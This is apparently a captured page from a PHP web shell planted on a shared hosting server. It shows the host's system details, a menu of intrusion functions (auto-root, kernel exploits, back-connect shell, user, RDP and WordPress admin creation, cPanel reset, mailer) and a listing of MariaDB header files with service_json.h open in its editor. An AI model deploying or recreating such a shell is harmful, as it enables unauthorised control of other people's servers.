Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
include /
mysql /
server /
mysql /
[ HOME SHELL ]
Name
Size
Permission
Action
psi
[ DIR ]
drwxr-xr-x
auth_dialog_client.h
2.01
KB
-rw-r--r--
client_plugin.h
6.27
KB
-rw-r--r--
plugin.h
29.19
KB
-rw-r--r--
plugin_audit.h
5.44
KB
-rw-r--r--
plugin_auth.h
5.27
KB
-rw-r--r--
plugin_auth_common.h
4.46
KB
-rw-r--r--
plugin_data_type.h
1.27
KB
-rw-r--r--
plugin_encryption.h
4.45
KB
-rw-r--r--
plugin_ftparser.h
7.65
KB
-rw-r--r--
plugin_function.h
1.4
KB
-rw-r--r--
plugin_password_validation.h
1.58
KB
-rw-r--r--
service_base64.h
2.86
KB
-rw-r--r--
service_debug_sync.h
13.26
KB
-rw-r--r--
service_encryption.h
6.03
KB
-rw-r--r--
service_encryption_scheme.h
5.51
KB
-rw-r--r--
service_json.h
4.44
KB
-rw-r--r--
service_kill_statement.h
2.02
KB
-rw-r--r--
service_log_warnings.h
1.34
KB
-rw-r--r--
service_logger.h
3.47
KB
-rw-r--r--
service_md5.h
2.07
KB
-rw-r--r--
service_my_crypt.h
4.07
KB
-rw-r--r--
service_my_print_error.h
2.27
KB
-rw-r--r--
service_my_snprintf.h
3.63
KB
-rw-r--r--
service_print_check_msg.h
1.52
KB
-rw-r--r--
service_progress_report.h
3.28
KB
-rw-r--r--
service_sha1.h
2.11
KB
-rw-r--r--
service_sha2.h
5.17
KB
-rw-r--r--
service_sql.h
5.01
KB
-rw-r--r--
service_thd_alloc.h
4.63
KB
-rw-r--r--
service_thd_autoinc.h
1.65
KB
-rw-r--r--
service_thd_error_context.h
3.34
KB
-rw-r--r--
service_thd_mdl.h
1.25
KB
-rw-r--r--
service_thd_rnd.h
1.86
KB
-rw-r--r--
service_thd_specifics.h
3.6
KB
-rw-r--r--
service_thd_timezone.h
2.24
KB
-rw-r--r--
service_thd_wait.h
3.61
KB
-rw-r--r--
service_wsrep.h
13.83
KB
-rw-r--r--
services.h
1.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : service_json.h
/* Copyright (C) 2018 MariaDB Corporation This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111-1301 USA */ #ifndef MYSQL_SERVICE_JSON #define MYSQL_SERVICE_JSON /** @file json service Exports JSON parsing methods for plugins to use. Functions of the service: json_type - returns the type of the JSON argument, and the parsed value if it's scalar (not object or array) json_get_array_item - expects JSON array as an argument, and returns the type of the element at index `n_item`. Returns JSV_NOTHING type if the array is shorter than n_item and the actual length of the array in value_len. If successful, then `value` up till `value[value_len]` contains the array element at the desired index (n_item). json_get_object_key - expects JSON object as an argument, searches for a key in the object, return it's type and stores its value in `value`. JSV_NOTHING if no such key found, the number of keys in v_len. json_get_object_nkey - expects JSON object as an argument. finds n_key's key in the object, returns it's name, type and value. JSV_NOTHING if object has less keys than n_key. */ #ifdef __cplusplus extern "C" { #endif enum json_types { JSV_BAD_JSON=-1, JSV_NOTHING=0, JSV_OBJECT=1, JSV_ARRAY=2, JSV_STRING=3, JSV_NUMBER=4, JSV_TRUE=5, JSV_FALSE=6, JSV_NULL=7 }; extern struct json_service_st { enum json_types (*json_type)(const char *js, const char *js_end, const char **value, int *value_len); enum json_types (*json_get_array_item)(const char *js, const char *js_end, int n_item, const char **value, int *value_len); enum json_types (*json_get_object_key)(const char *js, const char *js_end, const char *key, const char **value, int *value_len); enum json_types (*json_get_object_nkey)(const char *js,const char *js_end, int nkey, const char **keyname, const char **keyname_end, const char **value, int *value_len); int (*json_escape_string)(const char *str,const char *str_end, char *json, char *json_end); int (*json_unescape_json)(const char *json_str, const char *json_end, char *res, char *res_end); } *json_service; #ifdef MYSQL_DYNAMIC_PLUGIN #define json_type json_service->json_type #define json_get_array_item json_service->json_get_array_item #define json_get_object_key json_service->json_get_object_key #define json_get_object_nkey json_service->json_get_object_nkey #define json_escape_string json_service->json_escape_string #define json_unescape_json json_service->json_unescape_json #else enum json_types json_type(const char *js, const char *js_end, const char **value, int *value_len); enum json_types json_get_array_item(const char *js, const char *js_end, int n_item, const char **value, int *value_len); enum json_types json_get_object_key(const char *js, const char *js_end, const char *key, const char **value, int *value_len); enum json_types json_get_object_nkey(const char *js,const char *js_end, int nkey, const char **keyname, const char **keyname_end, const char **value, int *value_len); int json_escape_string(const char *str,const char *str_end, char *json, char *json_end); int json_unescape_json(const char *json_str, const char *json_end, char *res, char *res_end); #endif /*MYSQL_DYNAMIC_PLUGIN*/ #ifdef __cplusplus } #endif #endif /*MYSQL_SERVICE_JSON */
Close